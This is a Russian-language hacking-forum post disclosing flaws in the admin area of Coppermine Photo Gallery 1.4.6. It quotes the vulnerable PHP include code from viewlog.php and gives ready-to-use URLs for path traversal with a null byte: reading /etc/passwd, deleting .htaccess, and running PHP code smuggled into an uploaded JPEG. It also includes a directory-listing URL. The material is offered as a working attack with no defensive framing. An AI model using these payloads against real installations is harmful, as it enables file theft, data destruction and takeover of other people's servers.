Показать сообщение отдельно
Старый 25.09.2013, 10:00   #3
vp$
 
Аватар для vp$
 
Регистрация: 13.07.2010
Сообщений: 70
Репутация: 8
По умолчанию

Coppermine Photo Gallery <= 1.4.6
Зависимость : права админа
может быть и более поздние
LFI в админке

уязвимый код
Код:
$log = @$_GET['log'];
$action = @$_GET['action'];

pageheader('Logs :: '.$log);
.....................................

if (!isset($log)) {
        display_log_list();
} else {
               display_log($log);
}
.................................
function display_log($logname)
{
..................
log_read($logname);
........................
}

...............................
function log_read( $log = null ) {
        if (is_null($log)) {
                $log = CPG_GLOBAL_LOG;
        }

        $log = 'logs/'.$log.'.log.php';

        @include($log);
}
POC
Цитата:
cpg146/viewlog.php?log=../../../../../../../../etc/passwd%00

---------------------------
здесь же, удаление произвольного файла
Цитата:
cpg146/viewlog.php?action=dthis&log=../.htaccess%00

--------------------------------------
epic win

+ в конфиге выбираем обработчик изображений ImageMagick
+ загружаем фотку с php кодом, несмотря на то что админка скажет, что картинка не добавлена, она все равно зальется в альбом юзера
+ cpg146/viewlog.php?log=../albums/userpics/10001/evil.jpg%00 выполняется код


а на десерт, листинг директорий
cpg146/minibrowser.php?folder=/

Последний раз редактировалось vp$; 25.09.2013 в 12:46..
vp$ вне форума   Ответить с цитированием